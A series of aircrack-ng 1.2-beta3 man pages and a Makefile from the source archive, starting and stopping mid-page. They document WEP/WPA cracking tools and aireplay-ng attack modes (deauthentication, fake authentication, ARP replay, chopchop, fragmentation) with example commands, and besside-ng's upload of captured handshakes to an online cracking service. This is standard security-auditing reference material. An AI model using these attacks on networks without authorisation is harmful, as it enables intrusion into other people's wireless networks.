.TP .I -m \\(aqwho has destination IP (netip) tell source IP (myip)\\(aq. Defaults to the network.123 on the ARP request captured (Optional). .TP .I -a Source MAC address (Optional) .TP .I -c Do not crack the key. Simply capture the packets until control-C is hit to stop the program! (Optional) .TP .I -p Determines the minimum number of bytes of PRGA which is gathered. Defaults to 128 bytes. (Optional). .TP .I -v Wireless access point MAC address (Optional). .TP .I -t For each number of IVs specified, restart the airecrack-ng PTW engine (Optional). It will restart PTW every IVs. .TP .I -f Allows the highest channel for scanning to be defined. Defaults to channel 11 (Optional). .SH AUTHOR This manual page was written by Thomas d\(aqOtreppe. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL. .SH SEE ALSO .br .B airbase-ng(8) .br .B aircrack-ng(1) .br .B airdecap-ng(1) .br .B airdecloak-ng(1) .br .B airdriver-ng(8) .br .B aireplay-ng(8) .br .B airmon-ng(8) .br .B airodump-ng(8) .br .B airolib-ng(1) .br .B airserv-ng(8) .br .B airtun-ng(8) .br .B buddy-ng(1) .br .B easside-ng(8) .br .B ivstools(1) .br .B kstats(1) .br .B makeivs-ng(1) .br .B packetforge-ng(1) .br .B tkiptun-ng(8) aircrack-ng-1.2-beta3/manpages/Makefile0000644000000000000000000000237712101025230016455 0ustar rootrootAC_ROOT = .. include $(AC_ROOT)/common.mak MP_FILES = aircrack-ng.1 airdecap-ng.1 ivstools.1 kstats.1 makeivs-ng.1 \ packetforge-ng.1 airdecloak-ng.1 wpaclean.1 besside-ng-crawler.1 SMP_FILES = airdriver-ng.8 aireplay-ng.8 airmon-ng.8 airodump-ng.8 \ airserv-ng.8 airtun-ng.8 airbase-ng.8 airodump-ng-oui-update.8 \ besside-ng.8 ifeq ($(subst TRUE,true,$(filter TRUE true,$(sqlite) $(SQLITE))),true) MP_FILES += airolib-ng.1 endif ifeq ($(subst TRUE,true,$(filter TRUE true,$(unstable) $(UNSTABLE))),true) MP_FILES += buddy-ng.1 SMP_FILES += tkiptun-ng.8 easside-ng.8 wesside-ng.8 airmon-zc.8 endif default: all all: @echo Nothing to do install: uninstall install -d $(DESTDIR)$(mandir) install -d $(DESTDIR)$(smandir) install -m 644 $(MP_FILES) $(DESTDIR)$(mandir) install -m 644 $(SMP_FILES) $(DESTDIR)$(smandir) # Uninstall just calls cleanfiles with all possible switches enabled to # ensure all previously installed manpages are cleaned uninstall: $(MAKE) cleanfiles sqlite=true unstable=true cleanfiles: @-$(foreach CUR_MP,$(MP_FILES), rm -f $(DESTDIR)$(mandir)/$(CUR_MP); echo rm -f $(DESTDIR)$(mandir)/$(CUR_MP); ) @-$(foreach CUR_SMP,$(SMP_FILES), rm -f $(DESTDIR)$(smandir)/$(CUR_SMP); echo rm -f $(DESTDIR)$(smandir)/$(CUR_SMP); ) aircrack-ng-1.2-beta3/manpages/airdriver-ng.80000644000000000000000000000353212316414264017512 0ustar rootroot.TH AIRDRIVER-NG 8 "March 2014" "Version 1.2-beta3" .SH NAME airdriver-ng - automatically install/uninstall and patch drivers and 802.11 stacks .SH SYNOPSIS .B airdriver-ng [drivernumber] .SH DESCRIPTION .BI airdriver-ng is a script that provides status information about the wireless drivers on your system plus the ability to load and unload the drivers. Additionally, airdriver-ng allows you to install and uninstall drivers complete with the patches required for monitor and injection modes. Plus a number of other functions. .SH COMMAND .PP .TP .I supported Lists all supported drivers .TP .I kernel Lists all in-kernel drivers .TP .I installed Lists all installed drivers .TP .I loaded Lists all loaded drivers .TP .I load Loads a driver .TP .I unload Unloads a driver .TP .I reload Reloads a driver .TP .I install Installs a driver .TP .I remove Removes a driver .TP .I remove_stack Removes a stack .TP .I install_stack Installs a stack .TP .I details Prints driver details .TP .I detect Detects wireless cards .SH AUTHOR This manual page was written by Thomas d\(aqOtreppe. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL. .SH SEE ALSO .br .B airbase-ng(8) .br .B aircrack-ng(1) .br .B airdecap-ng(1) .br .B airdecloak-ng(1) .br .B aireplay-ng(8) .br .B airmon-ng(8) .br .B airodump-ng(8) .br .B airolib-ng(1) .br .B airserv-ng(8) .br .B airtun-ng(8) .br .B buddy-ng(1) .br .B easside-ng(8) .br .B ivstools(1) .br .B kstats(1) .br .B makeivs-ng(1) .br .B packetforge-ng(1) .br .B tkiptun-ng(8) .br .B wesside-ng(8) aircrack-ng-1.2-beta3/manpages/airmon-ng.80000644000000000000000000000364212316414264017012 0ustar rootroot.TH AIRMON-NG 8 "March 2014" "Version 1.2-beta3" .SH NAME airmon-ng - bash script designed to turn wireless cards into monitor mode. .SH SYNOPSIS .B airmon-ng [channel] .B airmon-ng [kill] .SH DESCRIPTION .BI airmon-ng is script can be used to enable monitor mode on wireless interfaces. It may also be used to go back from monitor mode to managed mode. Entering the airmon-ng command without parameters will show the interfaces status. It can list/kill programs that can interfere with the wireless card and set the right sources in /etc/kismet/kismet.conf too. .SH OPTIONAL PARAMETERS .PP .TP .I start [channel] Enable monitor mode on an interface (and specify a channel). Note: Madwifi-ng is a special case, \(aqstart\(aq has to be used on wifi interfaces and \(aqstop\(aq on ath interfaces. .I stop Disable monitor mode and go back to managed mode (except for madwifi-ng where it kills the ath VAP). .TP .I check [kill] List all possible programs that could interfere with the wireless card. If \(aqkill\(aq is specified, it will try to kill all of them. .SH AUTHOR This manual page was written by Adam Cecile for the Debian system (but may be used by others). Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL. .SH SEE ALSO .br .B airbase-ng(8) .br .B aircrack-ng(1) .br .B airdecap-ng(1) .br .B airdecloak-ng(1) .br .B airdriver-ng(8) .br .B aireplay-ng(8) .br .B airodump-ng(8) .br .B airolib-ng(1) .br .B airserv-ng(8) .br .B airtun-ng(8) .br .B buddy-ng(1) .br .B easside-ng(8) .br .B ivstools(1) .br .B kstats(1) .br .B makeivs-ng(1) .br .B packetforge-ng(1) .br .B tkiptun-ng(8) .br .B wesside-ng(8) aircrack-ng-1.2-beta3/manpages/packetforge-ng.10000644000000000000000000000471712316414264020014 0ustar rootroot.TH PACKETFORGE-NG 1 "March 2014" "Version 1.2-beta3" .SH NAME packetforge-ng - forge packets: ARP, UDP, ICMP or custom packets. .SH SYNOPSIS .B packetforge-ng .SH DESCRIPTION .BI packetforge-ng is a tool to create encrypted packets that can subsequently be used for injection. You may create various types of packets such as arp requests, UDP, ICMP and custom packets. The most common use is to create ARP requests for subsequent injection. .br To create an encrypted packet, you must have a PRGA (pseudo random genration algorithm) file. This is used to encrypt the packet you create. This is typically obtained from aireplay-ng chopchop or fragmentation attacks. .SH OPTIONS .PP .TP .I -H, --help Shows the help screen. .TP .I -p Set frame control word (hex) .TP .I -a Set Access Point MAC addres .TP .I -c Set Destination MAC address .TP .I -h Set Source MAC address .TP .I -j set FromDS bit .TP .I -o clear ToDS bit .TP .I -e disable WEP encryption .TP .I -k Set destination IP (and port) .TP .I -l Set source IP (and port) .TP .I -w Write packet to this pcap file .TP .I -r Read packet from this pcap file .TP .I -y Read PRGA from this file .TP .I -t Set Time To Live in IP-Header .TP .I -s Set size of the generated null packet. .TP .I -0, --arp Forge an ARP packet .TP .I -1, --udp Forge an UDP packet .TP .I -2, --icmp Forge an ICMP packet .TP .I -3, --null Forge a llc null packet .TP .I -9, --custom Build a custom packet, requires \-r to read an unencrypted frame out of a pcap file. .SH EXAMPLE .B packetforge-ng \-y test.xor \-a 00:09:5b:12:40:cc \-h 00:10:2a:cb:30:14 \-k 192.168.1.100 \-l 192.168.1.1 \-w arp-request.cap .SH AUTHOR This manual page was written by Thomas d\(aqOtreppe. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL. .SH SEE ALSO .br .B airbase-ng(8) .br .B aircrack-ng(1) .br .B airdecap-ng(1) .br .B airdecloak-ng(1) .br .B airdriver-ng(8) .br .B aireplay-ng(8) .br .B airmon-ng(8) .br .B airodump-ng(8) .br .B airolib-ng(1) .br .B airserv-ng(8) .br .B airtun-ng(8) .br .B buddy-ng(1) .br .B easside-ng(8) .br .B ivstools(1) .br .B kstats(1) .br .B makeivs-ng(1) .br .B tkiptun-ng(8) .br .B wesside-ng(8) aircrack-ng-1.2-beta3/manpages/besside-ng.80000644000000000000000000000326112316414264017140 0ustar rootroot.TH BESSIDE-NG 8 "March 2014" "Version 1.2-beta3" .SH NAME besside-ng - crack a WEP or WPA key without user intervention and collaborate with WPA cracking statistics .SH SYNOPSIS .B besside-ng [options] .SH DESCRIPTION .BI besside-ng is a tool wich will crack all the WEP networks in range and log all the WPA handshakes. WPA handshakes can be uploaded to the online cracking service at wpa.darkircop.org. .BR Wpa.darkircop.com also provides useful statistics based on user-submitted capture files about the feaseability of WPA cracking. .PP .TP .I -b Specifies the target's BSSID .TP .I -s Where to upload capture file for cracking. A good choice is wpa.darkircop.org .TP .I -c Channel lock .TP .I -p Packages per second to send (flood rate). .TP .I -W Crack only WPA networks .TP .I -v Verbos mode. Use -vv for more verbose, -vv for even more and so on. .TP .I -h Help screen .SH AUTHOR This manual page was written by David Francos Cuartero. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL. .SH SEE ALSO .br .B airbase-ng(8) .br .B aircrack-ng(1) .br .B airdecap-ng(1) .br .B airdecloak-ng(1) .br .B airdriver-ng(8) .br .B aireplay-ng(8) .br .B airmon-ng(8) .br .B airodump-ng(8) .br .B airolib-ng(1) .br .B airserv-ng(8) .br .B airtun-ng(8) .br .B buddy-ng(1) .br .B easside-ng(8) .br .B ivstools(1) .br .B kstats(1) .br .B makeivs-ng(1) .br .B packetforge-ng(1) .br .B tkiptun-ng(8) aircrack-ng-1.2-beta3/manpages/airodump-ng-oui-update.80000644000000000000000000000177212316414264021421 0ustar rootroot.TH AIRODUMP-NG-OUI-UPDATE 8 "March 2014" "Version 1.2-beta3" .SH NAME airodump-ng-oui-updater - IEEE oui list updater for airodump-ng .SH SYNOPSIS .B airodump-ng-oui-updater .SH DESCRIPTION .BI airodump-ng-oui-updater downloads and parses IEEE OUI list. .SH AUTHOR This manual page was written by David Francos Cuartero. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL. .PP .SH SEE ALSO .br .B aircrack-ng(1) .br .B airdecap-ng(1) .br .B airdecloak-ng(1) .br .B airdriver-ng(8) .br .B aireplay-ng(8) .br .B airmon-ng(8) .br .B airodump-ng(8) .br .B airolib-ng(1) .br .B airserv-ng(8) .br .B buddy-ng(1) .br .B easside-ng(8) .br .B ivstools(1) .br .B kstats(1) .br .B makeivs-ng(1) .br .B packetforge-ng(1) .br .B tkiptun-ng(8) .br .B wesside-ng(8) aircrack-ng-1.2-beta3/manpages/kstats.10000644000000000000000000000245312316414264016424 0ustar rootroot.TH KSTATS 1 "March 2014" "Version 1.2-beta3" .SH NAME kstats - show statistical FMS algorithm votes for an ivs dump and a specified WEP key .SH SYNOPSIS .B kstats <104-bit key> .SH DESCRIPTION .BI kstats is a tool designed to show the FMS algorithm votes for an ivs dump (intialization vectors) with a specified WEP key. The ivs dump can be get by using the combinaison of both airodump(1) and ivstools(1). .SH EXAMPLE .B kstats kstats out.ivs 123456789ABCDEF123456789AB .SH AUTHOR This manual page was written by Adam Cecile for the Debian system (but may be used by others). Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL. .SH SEE ALSO .br .B airbase-ng(8) .br .B aircrack-ng(1) .br .B airdecap-ng(1) .br .B airdecloak-ng(1) .br .B airdriver-ng(8) .br .B aireplay-ng(8) .br .B airmon-ng(8) .br .B airodump-ng(8) .br .B airolib-ng(1) .br .B airserv-ng(8) .br .B airtun-ng(8) .br .B buddy-ng(1) .br .B easside-ng(8) .br .B ivstools(1) .br .B makeivs-ng(1) .br .B packetforge-ng(1) .br .B tkiptun-ng(8) .br .B wesside-ng(8) aircrack-ng-1.2-beta3/manpages/tkiptun-ng.80000644000000000000000000000455512316414264017227 0ustar rootroot.TH TKIPTUN-NG 8 "March 2014" "Version 1.2-beta3" .SH NAME tkiptun-ng - inject a few frames into a WPA TKIP network with QoS .SH SYNOPSIS .B tkiptun-ng [options] .SH DESCRIPTION .BI tkiptun-ng is a tool created by Martin Beck aka hirte, a member of aircrack-ng team. This tool is able to inject a few frames into a WPA TKIP network with QoS. He worked with Erik Tews (who created PTW attack) for a conference in PacSec 2008: "Gone in 900 Seconds, Some Crypto Issues with WPA". .SH OPERATION .PP .TP .I -H, --help Shows the help screen. .TP .B Filter options: .TP .I -d MAC address of destination. .TP .I -s MAC address of source. .TP .I -m Minimum packet length. .TP .I -n Maximum packet length. .TP .I -t Frame control, "To" DS bit. .TP .I -f Frame control, "From" DS bit. .TP .I -D Disable AP Detection. .PP .TP .B Replay options: .TP .I -x Number of packets per second. .TP .I -p Set frame control word (hex). .TP .I -a Set Access Point MAC address. .TP .I -c Set destination MAC address. .TP .I -h Set source MAC address. .TP .I -F Choose first matching packet. .TP .I -e Set target SSID. .PP .TP .B Debug options: .TP .I -K Keystream for continuation. .TP .I -y Keystream file for continuation. .TP .I -j Inject FromFS packets. .TP .I -P Pairwise Master key (PMK) for verification or vulnerability testing. .TP .I -p Preshared key (PSK) to calculate PMK with essid. .PP .TP .B Source options: .TP .I -i Capture packets from this interface. .TP .I -r Extract packets from this pcap file. .SH AUTHOR This manual page was written by Thomas d\(aqOtreppe. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL. .SH SEE ALSO .br .B airbase-ng(8) .br .B aircrack-ng(1) .br .B airdecap-ng(1) .br .B airdecloak-ng(1) .br .B airdriver-ng(8) .br .B aireplay-ng(8) .br .B airmon-ng(8) .br .B airodump-ng(8) .br .B airolib-ng(1) .br .B airserv-ng(8) .br .B airtun-ng(8) .br .B buddy-ng(1) .br .B easside-ng(8) .br .B ivstools(1) .br .B kstats(1) .br .B makeivs-ng(1) .br .B packetforge-ng(1) .br .B wesside-ng(8) aircrack-ng-1.2-beta3/manpages/easside-ng.80000644000000000000000000000416012316414264017136 0ustar rootroot.TH EASSIDE-NG 8 "March 2014" "Version 1.2-beta3" .SH NAME easside-ng - an auto-magic tool which allows you to communicate via an WEP-encrypted AP without knowing the key .SH SYNOPSIS .B easside-ng .SH DESCRIPTION .BI easside-ng is an auto-magic tool which allows you to communicate via an WEP-encrypted access point (AP) without knowing the WEP key. It first identifies a network, then proceeds to associate with it, obtain PRGA (pseudo random generation algorithm) xor data, determine the network IP scheme and then setup a TAP interface so that you can communicate with the AP without requiring the WEP key. All this is done without your intervention. .SH OPTIONS .PP .TP .I -h Shows the help screen. .TP .I -v Victim BSSID (Optional). .TP .I -m Source MAC address to be used (Optional). .TP .I -i Source IP address to be used on the wireless LAN. Defaults to the decoded network plus \(aq.123\(aq (Optional). .TP .I -r IP address of the AP router. This could be the WAN IP of the AP or an actual router IP depending on the topology. Defaults to the decoded network plus \(aq.1\(aq (Optional). .TP .I -s IP address of Buddy-ng server (Mandatory) .TP .I -f Wireless interface to use (Mandatory) .TP .I -c Lock interface to this channel (Optional). .TP .I -n Determine Internet IP only. .SH AUTHOR This manual page was written by Thomas d\(aqOtreppe. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL. .SH SEE ALSO .br .B airbase-ng(8) .br .B aircrack-ng(1) .br .B airdecap-ng(1) .br .B airdecloak-ng(1) .br .B airdriver-ng(8) .br .B aireplay-ng(8) .br .B airmon-ng(8) .br .B airodump-ng(8) .br .B airolib-ng(1) .br .B airserv-ng(8) .br .B airtun-ng(8) .br .B buddy-ng(1) .br .B easside-ng(8) .br .B ivstools(1) .br .B kstats(1) .br .B makeivs-ng(1) .br .B packetforge-ng(1) .br .B tkiptun-ng(8) .br .B wesside-ng(8) aircrack-ng-1.2-beta3/manpages/ivstools.10000644000000000000000000000261012316414264016770 0ustar rootroot.TH IVSTOOLS 1 "March 2014" "Version 1.2-beta3" .SH NAME ivstools - extract IVs from a pcap file or merges several .ivs files into one .SH SYNOPSIS .B ivstools --convert .B ivstools --merge .. .SH DESCRIPTION .BI ivstools is a tool designed to extract ivs (initialization vectors) from a pcap dump to an ivs file and it can also merge several ivs (initialization vectors) files into one.. .SH EXAMPLE .B ivstools --convert wep_dump.cap out.ivs .B ivstools --merge myivs1.ivs myivs2.ivs myivs3.ivs allivs.ivs .SH AUTHOR This manual page was written by Adam Cecile for the Debian system (but may be used by others). Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL. .SH SEE ALSO .br .B airbase-ng(8) .br .B aircrack-ng(1) .br .B airdecap-ng(1) .br .B airdecloak-ng(1) .br .B airdriver-ng(8) .br .B aireplay-ng(8) .br .B airmon-ng(8) .br .B airodump-ng(8) .br .B airolib-ng(1) .br .B airserv-ng(8) .br .B airtun-ng(8) .br .B buddy-ng(1) .br .B easside-ng(8) .br .B kstats(1) .br .B makeivs-ng(1) .br .B packetforge-ng(1) .br .B tkiptun-ng(8) .br .B wesside-ng(8) aircrack-ng-1.2-beta3/manpages/aireplay-ng.80000644000000000000000000002271512316414264017335 0ustar rootroot.TH AIREPLAY-NG 8 "March 2014" "Version 1.2-beta3" .SH NAME aireplay-ng - inject packets into a wireless network to generate traffic .SH SYNOPSIS .B aireplay-ng [options] .SH DESCRIPTION .B aireplay-ng is used to inject/replay frames. The primary function is to generate traffic for the later use in aircrack-ng for cracking the WEP and WPA-PSK keys. There are different attacks which can cause deauthentications for the purpose of capturing WPA handshake data, fake authentications, Interactive packet replay, hand-crafted ARP request injection and ARP-request reinjection. With the packetforge-ng tool it\(aqs possible to create arbitrary frames. .br .PP .B aireplay-ng supports single-NIC injection/monitor. .br This feature needs driver patching. .br .SH OPTIONS .TP .I -H, --help Shows the help screen. .PP .TP .B Filter options: .TP .I -b MAC address of access point. .TP .I -d MAC address of destination. .TP .I -s MAC address of source. .TP .I -m Minimum packet length. .TP .I -n Maximum packet length. .TP .I -u Frame control, type field. .TP .I -v Frame control, subtype field. .TP .I -t Frame control, "To" DS bit (0 or 1). .TP .I -f Frame control, "From" DS bit (0 or 1). .TP .I -w Frame control, WEP bit (0 or 1). .TP .I -D Disable AP Detection. .PP .TP .B Replay options: .TP .I -x Number of packets per second. .TP .I -p Set frame control word (hex). .TP .I -a Set Access Point MAC address. .TP .I -c Set destination MAC address. .TP .I -h Set source MAC address. .TP .I -g Change ring buffer size (default: 8 packets). The minimum is 1. .TP .I -F Choose first matching packet. .TP .I -e Fake Authentication attack: Set target SSID (see below). For SSID containing special characters, see http://www.aircrack-ng.org/doku.php?id=faq#how_to_use_spaces_double_quote_and_single_quote_etc._in_ap_names .TP .I -o Fake Authentication attack: Set the number of packets for every authentication and association attempt (Default: 1). 0 means auto .TP .I -q Fake Authentication attack: Set the time between keep-alive packets in fake authentication mode. .TP .I -Q Fake Authentication attack: Sends reassociation requests instead of performing a complete authentication and association after each delay period. .TP .I -y Fake Authentication attack: Specifies the keystream file for fake shared key authentication. .TP .I -T n Fake Authentication attack: Exit if fake authentication fails \(aqn\(aq time(s). .TP .I -j ARP Replay attack : inject FromDS pakets (see below). .TP .I -k Fragmentation attack: Set destination IP in fragments. .TP .I -l Fragmentation attack: Set source IP in fragments. .TP .I -B Test option: bitrate test. .PP .TP .B Source options: .TP .I -i Capture packets from this interface. .TP .I -r Extract packets from this pcap file. .PP .TP .B Miscellaneous options: .TP .I -R disable /dev/rtc usage. .PP .I --ignore-negative-one if the interface\(aqs channel can\(aqt be determined ignore the mismatch, needed for unpatched cfg80211 .PP .TP .B Attack modes: .TP .I -0 , --deauth= This attack sends deauthentication packets to one or more clients which are currently associated with a particular access point. Deauthenticating clients can be done for a number of reasons: Recovering a hidden ESSID. This is an ESSID which is not being broadcast. Another term for this is "cloaked" or Capturing WPA/WPA2 handshakes by forcing clients to reauthenticate or Generate ARP requests (Windows clients sometimes flush their ARP cache when disconnected). Of course, this attack is totally useless if there are no associated wireless client or on fake authentications. .TP .I -1 , --fakeauth= The fake authentication attack allows you to perform the two types of WEP authentication (Open System and Shared Key) plus associate with the access point (AP). This is useful is only useful when you need an associated MAC address in various aireplay-ng attacks and there is currently no associated client. It should be noted that the fake authentication attack does NOT generate any ARP packets. Fake authentication cannot be used to authenticate/associate with WPA/WPA2 Access Points. .TP .I -2, --interactive This attack allows you to choose a specific packet for replaying (injecting). The attack can obtain packets to replay from two sources. The first being a live flow of packets from your wireless card. The second being from a pcap file. Reading from a file is an often overlooked feature of aireplay-ng. This allows you read packets from other capture sessions or quite often, various attacks generate pcap files for easy reuse. A common use of reading a file containing a packet your created with packetforge-ng. .TP .I -3, --arpreplay The classic ARP request replay attack is the most effective way to generate new initialization vectors (IVs), and works very reliably. The program listens for an ARP packet then retransmits it back to the access point. This, in turn, causes the access point to repeat the ARP packet with a new IV. The program retransmits the same ARP packet over and over. However, each ARP packet repeated by the access point has a new IVs. It is all these new IVs which allow you to determine the WEP key. .TP .I -4, --chopchop This attack, when successful, can decrypt a WEP data packet without knowing the key. It can even work against dynamic WEP. This attack does not recover the WEP key itself, but merely reveals the plaintext. However, some access points are not vulnerable to this attack. Some may seem vulnerable at first but actually drop data packets shorter that 60 bytes. If the access point drops packets shorter than 42 bytes, aireplay tries to guess the rest of the missing data, as far as the headers are predictable. If an IP packet is captured, it additionally checks if the checksum of the header is correct after guessing the missing parts of it. This attack requires at least one WEP data packet. .TP .I -5, --fragment This attack, when successful, can obtain 1500 bytes of PRGA (pseudo random generation algorithm). This attack does not recover the WEP key itself, but merely obtains the PRGA. The PRGA can then be used to generate packets with packetforge-ng which are in turn used for various injection attacks. It requires at least one data packet to be received from the access point in order to initiate the attack. .TP .I -6, --caffe-latte In general, for an attack to work, the attacker has to be in the range of an AP and a connected client (fake or real). Caffe Latte attacks allows one to gather enough packets to crack a WEP key without the need of an AP, it just need a client to be in range. .TP .I -7, --cfrag This attack turns IP or ARP packets from a client into ARP request against the client. This attack works especially well against ad-hoc networks. As well it can be used against softAP clients and normal AP clients. .TP .I -8, --migmode This attack works against Cisco Aironet access points configured in WPA Migration Mode, which enables both WPA and WEP clients to associate to an access point using the same Service Set Identifier (SSID). The program listens for a WEP-encapsulated broadcast ARP packet, bitflips it to make it into an ARP coming from the attacker\(aqs MAC address and retransmits it to the access point. This, in turn, causes the access point to repeat the ARP packet with a new IV and also to forward the ARP reply to the attacker with a new IV. The program retransmits the same ARP packet over and over. However, each ARP packet repeated by the access point has a new IV as does the ARP reply forwarded to the attacker by the access point. It is all these new IVs which allow you to determine the WEP key. .TP .I -9, --test Tests injection and quality. .SH FRAGMENTATION VERSUS CHOPCHOP .PP .PP .B Fragmentation: .TP .PP .I Pros .br - Can obtain the full packet length of 1500 bytes XOR. This means you can subsequently pretty well create any size of packet. .br - May work where chopchop does not .br - Is extremely fast. It yields the XOR stream extremely quickly when successful. .TP .PP .I Cons .br - Setup to execute the attack is more subject to the device drivers. For example, Atheros does not generate the correct packets unless the wireless card is set to the mac address you are spoofing. .br - You need to be physically closer to the access point since if any packets are lost then the attack fails. .PP .B Chopchop .TP .PP .I Pro .br - May work where frag does not work. .TP .PP .I Cons .br - Cannot be used against every access point. .br - The maximum XOR bits is limited to the length of the packet you chopchop against. .br - Much slower then the fragmentation attack. .br .SH AUTHOR This manual page was written by Adam Cecile for the Debian system (but may be used by others). Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL. .SH SEE ALSO .br .B airbase-ng(8) .br .B aircrack-ng(1) .br .B airdecap-ng(1) .br .B airdecloak-ng(1) .br .B airdriver-ng(8) .br .B airmon-ng(8) .br .B airodump-ng(8) .br .B airolib-ng(1) .br .B airserv-ng(8) .br .B airtun-ng(8) .br .B buddy-ng(1) .br .B easside-ng(8) .br .B ivstools(1) .br .B kstats(1) .br .B makeivs-ng(1) .br .B packetforge-ng(1) .br .B tkiptun-ng(8) .br .B wesside-ng(8) aircrack-ng-1.2-beta3/manpages/airodump-ng.80000644000000000000000000002715412316414264017351 0ustar rootroot.TH AIRODUMP-NG 8 "March 2014" "Version 1.2-beta3" .SH NAME airodump-ng - a wireless packet capture tool for aircrack-ng .SH SYNOPSIS .B airodump-ng [options] .SH DESCRIPTION .BI airodump-ng is used for packet capturing of raw 802.11 frames for the intent of using them with aircrack-ng. If you have a GPS receiver connected to the computer, airodump-ng is capable of logging the coordinates of the found access points. Additionally, airodump-ng writes out a text file containing the details of all access points and clients seen. .SH OPTIONS .PP .TP .I -H, --help Shows the help screen. .TP .I -i, --ivs It only saves IVs (only useful for cracking). If this option is specified, you have to give a dump prefix (\-\-write option) .TP .I -g, --gpsd Indicate that airodump-ng should try to use GPSd to get coordinates. .TP .I -w , --write Is the dump file prefix to use. If this option is not given, it will only show data on the screen. Beside this file a CSV file with the same filename as the capture will be created. .TP .I -e, --beacons It will record all beacons into the cap file. By default it only records one beacon for each network. .TP .I -u , --update Delay seconds delay between display updates (default: 1 second). Useful for slow CPU. .TP .I --showack Prints ACK/CTS/RTS statistics. Helps in debugging and general injection optimization. It is indication if you inject, inject too fast, reach the AP, the frames are valid encrypted frames. Allows one to detect "hidden" stations, which are too far away to capture high bitrate frames, as ACK frames are sent at 1Mbps. .TP .I -h Hides known stations for \-\-showack. .TP .I --berlin Time before removing the AP/client from the screen when no more packets are received (Default: 120 seconds). See airodump-ng source for the history behind this option ;). .TP .I -c [,[,...]], --channel [,[,...]] Indicate the channel(s) to listen to. By default airodump-ng hop on all 2.4GHz channels. .TP .I -b , --band Indicate the band on which airodump-ng should hop. It can be a combination of \(aqa\(aq, \(aqb\(aq and \(aqg\(aq letters (\(aqb\(aq and \(aqg\(aq uses 2.4GHz and \(aqa\(aq uses 5GHz). Incompatible with --channel option. .TP .I -s , --cswitch Defines the way airodump-ng sets the channels when using more than one card. Valid values: 0 (FIFO, default value), 1 (Round Robin) or 2 (Hop on last). .TP .I -r Reads packet from a file. .TP .I -x Active Scanning Simulation (send probe requests and parse the probe responses). .TP .I -M, --manufacturer Display a manufacturer column with the information obtained from the IEEE OUI list. See airodump-ng-oui-update(8) .TP .I -U, --uptime Display APs uptime obtained from its beacon timestamp. .TP .I --output-format Define the formats to use (separated by a comma). Possible values are: pcap, ivs, csv, gps, kismet, netxml. The default values are: pcap, csv, kismet, kismet-newcore. \(aqpcap\(aq is for recording a capture in pcap format, \(aqivs\(aq is for ivs format (it is a shortcut for --ivs). \(aqcsv\(aq will create an airodump-ng CSV file, \(aqkismet\(aq will create a kismet csv file and \(aqkismet-newcore\(aq will create the kismet netxml file. \(aqgps\(aq is a shortcut for --gps. .br Theses values can be combined with the exception of ivs and pcap. .TP .I --ignore-negative-one Removes the message that says \(aqfixed channel : -1\(aq. .PP .B Filter options: .TP .I -t , --encrypt It will only show networks matching the given encryption. May be specified more than once: \(aq\-t OPN \-t WPA2\(aq .TP .I -d , --bssid It will only show networks, matching the given bssid. .TP .I -m , --netmask It will only show networks, matching the given bssid ^ netmask combination. Need \-\-bssid (or \-d) to be specified. .TP .I -a It will only show associated clients. .TP .I -N, --essid Filter APs by ESSID. Can be used several times to match a set of ESSID. .TP .I -R, --essid-regex Filter APs by ESSID using a regular expression. .SH INTERACTION .PP .BI airodump-ng can receive and interpret key strokes while running. The following list describes the currently assigned keys and supposed actions: .TP .I a Select active areas by cycling through these display options: AP+STA; AP+STA+ACK; AP only; STA only .TP .I d Reset sorting to defaults (Power) .TP .I i Invert sorting algorithm .TP .I m Mark the selected AP or cycle through different colors if the selected AP is already marked .TP .I r (De-)Activate realtime sorting - applies sorting algorithm everytime the display will be redrawn .TP .I s Change column to sort by, which currently includes: First seen; BSSID; PWR level; Beacons; Data packets; Packet rate; Channel; Max. data rate; Encryption; Strongest Ciphersuite; Strongest Authentication; ESSID .TP .I SPACE Pause display redrawing/ Resume redrawing .TP .I TAB Enable/Disable scrolling through AP list .TP .I UP Select the AP prior to the currently marked AP in the displayed list if available .TP .I DOWN Select the AP after the currently marked AP if available .PP If an AP is selected or marked, all the connected stations will also be selected or marked with the same color as the corresponding Access Point. .SH EXAMPLES .B airodump-ng \-\-band bg ath0 .PP Here is an example screenshot: .PP ----------------------------------------------------------------------- .br CH 9 ][ Elapsed: 1 min ][ 2007-04-26 17:41 ][ BAT: 2 hours 10 mins ][ WPA handshake: 00:14:6C:7E:40:80 .br .PP BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID .br .PP 00:09:5B:1C:AA:1D 11 16 10 0 0 11 54. OPN .br 00:14:6C:7A:41:81 34 100 57 14 1 9 11 WEP WEP bigbear .br 00:14:6C:7E:40:80 32 100 752 73 2 9 54 WPA TKIP PSK teddy .br .PP 